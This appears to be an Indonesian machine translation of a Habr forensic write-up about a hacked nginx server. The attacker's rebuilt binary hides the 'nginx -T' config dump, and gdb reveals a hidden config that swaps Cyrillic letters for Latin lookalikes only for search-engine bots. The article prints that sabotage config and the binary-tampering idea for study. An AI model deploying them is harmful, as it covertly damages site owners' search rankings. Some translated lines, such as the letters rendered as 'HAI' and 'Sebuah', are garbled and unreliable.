Ketika 'a' tidak sama dengan 'a'. Di jalur peretasan

Sebuah cerita yang paling tidak menyenangkan terjadi pada salah satu teman saya. Tapi meskipun hal itu tidak menyenangkan bagi Mikhail, hal itu juga menghibur saya.

Saya harus mengatakan bahwa teman saya cukup UNIX-pengguna: dapat menginstal sistem sendiri mysql, php dan buat pengaturan sederhana nginx.
Dan dia memiliki selusin atau satu setengah situs web yang didedikasikan untuk peralatan konstruksi.

Salah satu situs yang didedikasikan untuk gergaji mesin ini duduk kokoh di TOP mesin pencari. Situs ini adalah pengulas non-komersial, namun seseorang mempunyai kebiasaan menyerangnya. Itu DDoS, lalu kekerasan, lalu mereka menulis komentar cabul dan mengirimkan caci-maki ke tuan rumah dan ke RKN.
Tiba-tiba, semuanya menjadi tenang dan ketenangan ini ternyata tidak baik, dan situs tersebut secara bertahap mulai meninggalkan baris teratas hasil pencarian.

Ketika 'a' tidak sama dengan 'a'. Setelah peretasan

Itu tadi pepatah, lalu cerita admin sendiri.

Saat itu mendekati waktu tidur ketika telepon berdering: “San, maukah kamu melihat server saya? Sepertinya saya diretas, saya tidak bisa membuktikannya, tetapi perasaan itu tidak hilang selama minggu ketiga. Mungkin ini saatnya saya berobat karena paranoia?”

Acara selanjutnya adalah diskusi selama setengah jam yang dapat dirangkum sebagai berikut:

  • tanah untuk penebangan cukup subur;
  • seorang penyerang bisa mendapatkan hak pengguna super;
  • serangan (jika terjadi) ditujukan secara khusus pada situs ini;
  • area masalah telah diperbaiki dan Anda hanya perlu memahami apakah ada penetrasi;
  • peretasan tidak dapat memengaruhi kode situs dan database.

Mengenai poin terakhir.

Ketika 'a' tidak sama dengan 'a'. Setelah peretasan

Hanya IP frontend putih yang terlihat. Tidak ada pertukaran antara backend dan frontend kecuali http(s), pengguna/kata sandi berbeda, tidak ada kunci yang dipertukarkan. Pada alamat abu-abu, semua port kecuali 80/443 ditutup. IP backend putih hanya diketahui oleh dua pengguna, yang sepenuhnya dipercaya oleh Mikhail.

Dipasang di bagian depan Debian 9 dan pada saat panggilan dilakukan, sistem diisolasi dari dunia luar oleh firewall eksternal dan dihentikan.

"Oke, beri aku akses," aku memutuskan untuk menunda tidur selama satu jam. “Saya akan melihatnya dengan mata kepala sendiri.”

Di sini dan selanjutnya:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Mencari kemungkinan peretasan

Saya memulai server, pertama masuk mode penyelamatan. Saya memasang disk dan membaliknya resmilog, sejarah, log sistem, dll., jika memungkinkan, saya memeriksa tanggal pembuatan file, meskipun saya memahami bahwa cracker biasa akan "menyapu" dirinya sendiri, dan Misha sudah sering "menginjak" saat dia mencari dirinya sendiri .

Saya memulai dalam mode normal, belum begitu memahami apa yang harus dicari, saya mempelajari konfigurasinya. Pertama-tama, saya tertarik nginx karena, secara umum, tidak ada hal lain di frontend kecuali itu.
Konfigurasinya kecil, terstruktur dengan baik menjadi selusin file, saya hanya memeriksanya kucing'oh satu per satu. Segalanya tampak bersih, tetapi Anda tidak pernah tahu apakah saya melewatkan sesuatu memasukkan, izinkan saya membuat daftar lengkap:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Saya tidak mengerti: “Di mana daftarnya?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Pertanyaan kedua ditambahkan ke pertanyaan daftar: “Mengapa nginx versi kuno?”

Selain itu, sistem percaya bahwa versi terbaru telah diinstal:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Saya menelepon:
- Misha, kenapa kamu berkumpul kembali nginx?
- Tunggu, aku bahkan tidak tahu bagaimana melakukan ini!
- Oke, baiklah, tidurlah...

Nginx itu jelas dibangun kembali dan keluaran dari daftar menggunakan "-T" disembunyikan karena suatu alasan. Tidak ada lagi keraguan tentang peretasan dan Anda cukup menerimanya dan (karena Misha tetap mengganti server dengan yang baru) menganggap masalahnya telah teratasi.

Dan memang, karena seseorang mendapat haknya akar'ah, maka itu masuk akal untuk dilakukan menginstal ulang sistem, dan percuma mencari apa yang salah di sana, tapi kali ini rasa ingin tahu mengalahkan tidur. Bagaimana kita bisa mengetahui apa yang ingin mereka sembunyikan dari kita?

Mari kita coba telusuri:

$ strace nginx -T

Kita lihat, jelas tidak ada cukup garis di trace ala

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Sekadar iseng, mari kita bandingkan temuannya.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Saya pikir bagian dari kode /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

dibawa ke bentuk:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

или

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

oleh karena itu daftar dengan "-T" tidak ditampilkan.

Tapi bagaimana kita bisa melihat konfigurasi kita?

Jika pemikiran saya benar dan masalahnya hanya pada variabelnya saja ngx_dump_config mari kita coba menginstalnya menggunakan gdb, untung ada kuncinya --dengan-cc-opt -g hadir dan berharap optimasi itu -O2 itu tidak akan merugikan kita. Pada saat yang sama, karena saya tidak tahu caranya ngx_dump_config bisa diproses masuk kasus 'T':, kami tidak akan memanggil blok ini, tetapi menginstalnya menggunakan kasus 't':

Mengapa Anda bisa menggunakan '-t' dan juga '-T'Pemrosesan Blok jika(ngx_dump_config) terjadi di dalam jika(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Tentu saja jika kodenya diubah di bagian ini dan bukan di kasus 'T':, maka metode saya tidak akan berhasil.

Uji nginx.confSetelah memecahkan masalah secara eksperimental, ditetapkan bahwa konfigurasi minimum diperlukan agar malware dapat berfungsi nginx jenis:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Kami akan menggunakannya untuk singkatnya dalam artikel.

Luncurkan debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Selangkah demi selangkah:

  • atur breakpoint dalam fungsi utama()
  • meluncurkan programnya
  • mengubah nilai variabel yang menentukan output konfigurasi ngx_dump_config=1
  • melanjutkan/mengakhiri program

Seperti yang bisa kita lihat, konfigurasi sebenarnya berbeda dari konfigurasi kita, kita pilih bagian parasit darinya:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Mari kita lihat apa yang terjadi di sini secara berurutan.

Ditentukan User-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Halaman layanan dikecualikan wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Dan bagi mereka yang termasuk dalam kedua kondisi di atas

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

dalam teks html-halaman berubah 'HAI' pada 'Hai' и 'A' pada 'Sebuah':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Itu benar, satu-satunya kehalusan adalah itu 'sebuah' != 'sebuah' seperti 'o' != 'o':

Ketika 'a' tidak sama dengan 'a'. Setelah peretasan

Jadi, bot mesin pencari menerima, alih-alih teks Cyrillic 100% normal, sampah yang dimodifikasi yang diencerkan dengan bahasa Latin 'Sebuah' и 'Hai'. Saya tidak berani membahas bagaimana hal ini memengaruhi SEO, tetapi kecil kemungkinannya bahwa tumpukan huruf seperti itu akan berdampak positif pada posisi di hasil pencarian.

Apa yang bisa saya katakan, teman-teman dengan imajinasi.

referensi

Men-debug dengan GDB
gdb(1) — Halaman manual Linux
strace(1) — halaman manual Linux
Nginx - Modul ngx_http_sub_module
Tentang gergaji, gergaji mesin dan gergaji listrik

Sumber: www.habr.com

Tambah komentar